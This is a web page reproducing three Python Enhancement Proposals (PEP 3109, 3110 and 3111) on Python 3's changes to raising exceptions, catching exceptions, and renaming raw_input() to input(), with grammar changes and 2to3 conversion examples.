PEP 3109 – Raising Exceptions in Python 3000 Author: Collin Winter <collinwinter at google.com> Status: Final Type: Standards Track Created: 19-Jan-2006 Python-Version: 3.0 Post-History: Table of Contents Abstract Rationale Grammar Changes Changes to Builtin Types Semantic Changes Compatibility Issues Implementation References Copyright Abstract This PEP introduces changes to Python’s mechanisms for raising exceptions intended to reduce both line noise and the size of the language. Rationale One of Python’s guiding maxims is “there should be one – and preferably only one – obvious way to do it”. Python 2.x’s raise statement violates this principle, permitting multiple ways of expressing the same thought. For example, these statements are equivalent: raise E, V raise E(V) There is a third form of the raise statement, allowing arbitrary tracebacks to be attached to an exception [1]: raise E, V, T where T is a traceback. As specified in PEP 344, exception objects in Python 3.x will possess a __traceback__ attribute, admitting this translation of the three-expression raise statement: raise E, V, T is translated to e = E(V) e.__traceback__ = T raise e Using these translations, we can reduce the raise statement from four forms to two: raise (with no arguments) is used to re-raise the active exception in an except suite. raise EXCEPTION is used to raise a new exception. This form has two sub-variants: EXCEPTION may be an exception class or an instance of an exception class; valid exception classes are BaseException and its subclasses (PEP 352). If EXCEPTION is a subclass, it will be called with no arguments to obtain an exception instance.To raise anything else is an error. There is a further, more tangible benefit to be obtained through this consolidation, as noted by A.M. Kuchling [2]. PEP 8 doesn't express any preference between the two forms of raise statements: raise ValueError, 'blah' raise ValueError("blah") I like the second form better, because if the exception arguments are long or include string formatting, you don't need to use line continuation characters because of the containing parens. The BDFL has concurred [3] and endorsed the consolidation of the several raise forms. Grammar Changes In Python 3, the grammar for raise statements will change from [1] raise_stmt: 'raise' [test [',' test [',' test]]] to raise_stmt: 'raise' [test] Changes to Builtin Types Because of its relation to exception raising, the signature for the throw() method on generator objects will change, dropping the optional second and third parameters. The signature thus changes (PEP 342) from generator.throw(E, [V, [T]]) to generator.throw(EXCEPTION) Where EXCEPTION is either a subclass of BaseException or an instance of a subclass of BaseException. Semantic Changes In Python 2, the following raise statement is legal raise ((E1, (E2, E3)), E4), V The interpreter will take the tuple’s first element as the exception type (recursively), making the above fully equivalent to raise E1, V As of Python 3.0, support for raising tuples like this will be dropped. This change will bring raise statements into line with the throw() method on generator objects, which already disallows this. Compatibility Issues All two- and three-expression raise statements will require modification, as will all two- and three-expression throw() calls on generators. Fortunately, the translation from Python 2.x to Python 3.x in this case is simple and can be handled mechanically by Guido van Rossum’s 2to3 utility [4] using the raise and throw fixers ([5], [6]). The following translations will be performed: Zero- and one-expression raise statements will be left intact. Two-expression raise statements will be converted fromraise E, V to raise E(V) Two-expression throw() calls will be converted from generator.throw(E, V) to generator.throw(E(V)) See point #5 for a caveat to this transformation. Three-expression raise statements will be converted fromraise E, V, T to e = E(V) e.__traceback__ = T raise e Three-expression throw() calls will be converted from generator.throw(E, V, T) to e = E(V) e.__traceback__ = T generator.throw(e) See point #5 for a caveat to this transformation. Two- and three-expression raise statements where E is a tuple literal can be converted automatically using 2to3’s raise fixer. raise statements where E is a non-literal tuple, e.g., the result of a function call, will need to be converted manually. Two- and three-expression raise statements where E is an exception class and V is an exception instance will need special attention. These cases break down into two camps: raise E, V as a long-hand version of the zero-argument raise statement. As an example, assuming F is a subclass of Etry: something() except F as V: raise F(V) except E as V: handle(V) This would be better expressed as try: something() except F: raise except E as V: handle(V) raise E, V as a way of “casting” an exception to another class. Taking an example from distutils.compiler.unixcompilertry: self.spawn(pp_args) except DistutilsExecError as msg: raise CompileError(msg) This would be better expressed as try: self.spawn(pp_args) except DistutilsExecError as msg: raise CompileError from msg Using the raise ... from ... syntax introduced in PEP 344. Implementation This PEP was implemented in revision 57783 [7]. References [1] (1, 2) http://docs.python.org/reference/simple_stmts.html#raise [2] https://mail.python.org/pipermail/python-dev/2005-August/055187.html [3] https://mail.python.org/pipermail/python-dev/2005-August/055190.html [4] http://svn.python.org/view/sandbox/trunk/2to3/ [5] http://svn.python.org/view/sandbox/trunk/2to3/fixes/fix_raise.py [6] http://svn.python.org/view/sandbox/trunk/2to3/fixes/fix_throw.py [7] http://svn.python.org/view/python/branches/py3k/Include/?rev=57783&view=rev Copyright This document has been placed in the public domain.

Final

PEP 3109 – Raising Exceptions in Python 3000

Standards Track

This PEP introduces changes to Python’s mechanisms for raising exceptions intended to reduce both line noise and the size of the language.

PEP 3110 – Catching Exceptions in Python 3000 Author: Collin Winter <collinwinter at google.com> Status: Final Type: Standards Track Created: 16-Jan-2006 Python-Version: 3.0 Post-History: Table of Contents Abstract Rationale Grammar Changes Semantic Changes Compatibility Issues 2.6 - 3.0 Compatibility Open Issues Replacing or Dropping “sys.exc_info()” Implementation References Copyright Abstract This PEP introduces changes intended to help eliminate ambiguities in Python’s grammar, simplify exception classes, simplify garbage collection for exceptions and reduce the size of the language in Python 3.0. Rationale except clauses in Python 2.x present a syntactic ambiguity where the parser cannot differentiate whetherexcept <expression>, <expression>: should be interpreted as except <type>, <type>: or except <type>, <name>: Python 2 opts for the latter semantic, at the cost of requiring the former to be parenthesized, like so except (<type>, <type>): As specified in PEP 352, the ability to treat exceptions as tuples will be removed, meaning this code will no longer workexcept os.error, (errno, errstr): Because the automatic unpacking will no longer be possible, it is desirable to remove the ability to use tuples as except targets. As specified in PEP 344, exception instances in Python 3 will possess a __traceback__ attribute. The Open Issues section of that PEP includes a paragraph on garbage collection difficulties caused by this attribute, namely a “exception -> traceback -> stack frame -> exception” reference cycle, whereby all locals are kept in scope until the next GC run. This PEP intends to resolve this issue by adding a cleanup semantic to except clauses in Python 3 whereby the target name is deleted at the end of the except suite. In the spirit of “there should be one – and preferably only one – obvious way to do it”, it is desirable to consolidate duplicate functionality. To this end, the exc_value, exc_type and exc_traceback attributes of the sys module [1] will be removed in favor of sys.exc_info(), which provides the same information. These attributes are already listed in PEP 3100 as targeted for removal. Grammar Changes In Python 3, the grammar for except statements will change from [4] except_clause: 'except' [test [',' test]] to except_clause: 'except' [test ['as' NAME]] The use of as in place of the comma token means that except (AttributeError, os.error): can be clearly understood as a tuple of exception classes. This new syntax was first proposed by Greg Ewing [2] and endorsed ([2], [3]) by the BDFL. Further, the restriction of the token following as from test to NAME means that only valid identifiers can be used as except targets. Note that the grammar above always requires parenthesized tuples as exception classes. That way, the ambiguous except A, B: which would mean different things in Python 2.x and 3.x – leading to hard-to-catch bugs – cannot legally occur in 3.x code. Semantic Changes In order to resolve the garbage collection issue related to PEP 344, except statements in Python 3 will generate additional bytecode to delete the target, thus eliminating the reference cycle. The source-to-source translation, as suggested by Phillip J. Eby [5], is try: try_body except E as N: except_body ... gets translated to (in Python 2.5 terms) try: try_body except E, N: try: except_body finally: N = None del N ... An implementation has already been checked into the py3k (formerly “p3yk”) branch [6]. Compatibility Issues Nearly all except clauses will need to be changed. except clauses with identifier targets will be converted from except E, N: to except E as N: except clauses with non-tuple, non-identifier targets (e.g., a.b.c[d]) will need to be converted from except E, T: to except E as t: T = t Both of these cases can be handled by Guido van Rossum’s 2to3 utility [7] using the except fixer [8]. except clauses with tuple targets will need to be converted manually, on a case-by-case basis. These changes will usually need to be accompanied by changes to the exception classes themselves. While these changes generally cannot be automated, the 2to3 utility is able to point out cases where the target of an except clause is a tuple, simplifying conversion. Situations where it is necessary to keep an exception instance around past the end of the except suite can be easily translated like so try: ... except E as N: ... ... becomes try: ... except E as N: n = N ... ... This way, when N is deleted at the end of the block, n will persist and can be used as normal. Lastly, all uses of the sys module’s exc_type, exc_value and exc_traceback attributes will need to be removed. They can be replaced with sys.exc_info()[0], sys.exc_info()[1] and sys.exc_info()[2] respectively, a transformation that can be performed by 2to3’s sysexcattrs fixer. 2.6 - 3.0 Compatibility In order to facilitate forwards compatibility between Python 2.6 and 3.0, the except ... as ...: syntax will be backported to the 2.x series. The grammar will thus change from: except_clause: 'except' [test [',' test]] to: except_clause: 'except' [test [('as' | ',') test]] The end-of-suite cleanup semantic for except statements will not be included in the 2.x series of releases. Open Issues Replacing or Dropping “sys.exc_info()” The idea of dropping sys.exc_info() or replacing it with a sys.exception attribute or a sys.get_exception() function has been raised several times on python-3000 ([9], [10]) and mentioned in PEP 344’s “Open Issues” section. While a 2to3 fixer to replace calls to sys.exc_info() and some attribute accesses would be trivial, it would be far more difficult for static analysis to find and fix functions that expect the values from sys.exc_info() as arguments. Similarly, this does not address the need to rewrite the documentation for all APIs that are defined in terms of sys.exc_info(). Implementation This PEP was implemented in revisions 53342 [11] and 53349 [12]. Support for the new except syntax in 2.6 was implemented in revision 55446 [13]. References [1] http://docs.python.org/library/sys.html [2] (1, 2) https://mail.python.org/pipermail/python-dev/2006-March/062449.html [3] https://mail.python.org/pipermail/python-dev/2006-March/062640.html [4] http://docs.python.org/reference/compound_stmts.html#try [5] https://mail.python.org/pipermail/python-3000/2007-January/005395.html [6] http://svn.python.org/view?rev=53342&view=rev [7] https://hg.python.org/sandbox/guido/file/2.7/Lib/lib2to3/ [8] https://hg.python.org/sandbox/guido/file/2.7/Lib/lib2to3/fixes/fix_except.py [9] https://mail.python.org/pipermail/python-3000/2007-January/005385.html [10] https://mail.python.org/pipermail/python-3000/2007-January/005604.html [11] http://svn.python.org/view?view=revision&revision=53342 [12] http://svn.python.org/view?view=revision&revision=53349 [13] http://svn.python.org/view/python/trunk/?view=rev&rev=55446 Copyright This document has been placed in the public domain.

Final

PEP 3110 – Catching Exceptions in Python 3000

Standards Track

This PEP introduces changes intended to help eliminate ambiguities in Python’s grammar, simplify exception classes, simplify garbage collection for exceptions and reduce the size of the language in Python 3.0.

PEP 3111 – Simple input built-in in Python 3000 Author: Andre Roberge <andre.roberge at gmail.com> Status: Final Type: Standards Track Created: 13-Sep-2006 Python-Version: 3.0 Post-History: 22-Dec-2006 Table of Contents Abstract Motivation Rationale Specification Naming Discussion References Copyright Abstract Input and output are core features of computer programs. Currently, Python provides a simple means of output through the print keyword and two simple means of interactive input through the input() and raw_input() built-in functions. Python 3.0 will introduce various incompatible changes with previous Python versions (PEP 3100). Among the proposed changes, print will become a built-in function, print(), while input() and raw_input() would be removed completely from the built-in namespace, requiring importing some module to provide even the most basic input capability. This PEP proposes that Python 3.0 retains some simple interactive user input capability, equivalent to raw_input(), within the built-in namespace. It was accepted by the BDFL in December 2006 [5]. Motivation With its easy readability and its support for many programming styles (e.g. procedural, object-oriented, etc.) among others, Python is perhaps the best computer language to use in introductory programming classes. Simple programs often need to provide information to the user (output) and to obtain information from the user (interactive input). Any computer language intended to be used in an educational setting should provide straightforward methods for both output and interactive input. The current proposals for Python 3.0 include a simple output pathway via a built-in function named print(), but a more complicated method for input [e.g. via sys.stdin.readline()], one that requires importing an external module. Current versions of Python (pre-3.0) include raw_input() as a built-in function. With the availability of such a function, programs that require simple input/output can be written from day one, without requiring discussions of importing modules, streams, etc. Rationale Current built-in functions, like input() and raw_input(), are found to be extremely useful in traditional teaching settings. (For more details, see [2] and the discussion that followed.) While the BDFL has clearly stated [3] that input() was not to be kept in Python 3000, he has also stated that he was not against revising the decision of killing raw_input(). raw_input() provides a simple mean to ask a question and obtain a response from a user. The proposed plans for Python 3.0 would require the replacement of the single statement: name = raw_input("What is your name?") by the more complicated: import sys print("What is your name?") same = sys.stdin.readline() However, from the point of view of many Python beginners and educators, the use of sys.stdin.readline() presents the following problems: 1. Compared to the name “raw_input”, the name “sys.stdin.readline()” is clunky and inelegant. 2. The names “sys” and “stdin” have no meaning for most beginners, who are mainly interested in what the function does, and not where in the package structure it is located. The lack of meaning also makes it difficult to remember: is it “sys.stdin.readline()”, or “ stdin.sys.readline()”? To a programming novice, there is not any obvious reason to prefer one over the other. In contrast, functions simple and direct names like print, input, and raw_input, and open are easier to remember. 3. The use of “.” notation is unmotivated and confusing to many beginners. For example, it may lead some beginners to think “.” is a standard character that could be used in any identifier. 4. There is an asymmetry with the print function: why is print not called sys.stdout.print()? Specification The existing raw_input() function will be renamed to input(). The Python 2 to 3 conversion tool will replace calls to input() with eval(input()) and raw_input() with input(). Naming Discussion With input() effectively removed from the language, the name raw_input() makes much less sense and alternatives should be considered. The various possibilities mentioned in various forums include: ask() ask_user() get_string() input() # initially rejected by BDFL, later accepted prompt() read() user_input() get_response() While it was initially rejected by the BDFL, it has been suggested that the most direct solution would be to rename “raw_input” to “input” in Python 3000. The main objection is that Python 2.x already has a function named “input”, and, even though it is not going to be included in Python 3000, having a built-in function with the same name but different semantics may confuse programmers migrating from 2.x to 3000. Certainly, this is no problem for beginners, and the scope of the problem is unclear for more experienced programmers, since raw_input(), while popular with many, is not in universal use. In this instance, the good it does for beginners could be seen to outweigh the harm it does to experienced programmers - although it could cause confusion for people reading older books or tutorials. The rationale for accepting the renaming can be found here [4]. References [2] The fate of raw_input() in Python 3000 https://mail.python.org/pipermail/edu-sig/2006-September/006967.html [3] Educational aspects of Python 3000 https://mail.python.org/pipermail/python-3000/2006-September/003589.html [4] Rationale for going with the straight renaming https://mail.python.org/pipermail/python-3000/2006-December/005249.html [5] BDFL acceptance of the PEP https://mail.python.org/pipermail/python-3000/2006-December/005257.html Copyright This document has been placed in the public domain.

Final

PEP 3111 – Simple input built-in in Python 3000

Standards Track

Input and output are core features of computer programs. Currently, Python provides a simple means of output through the print keyword and two simple means of interactive input through the input() and raw_input() built-in functions.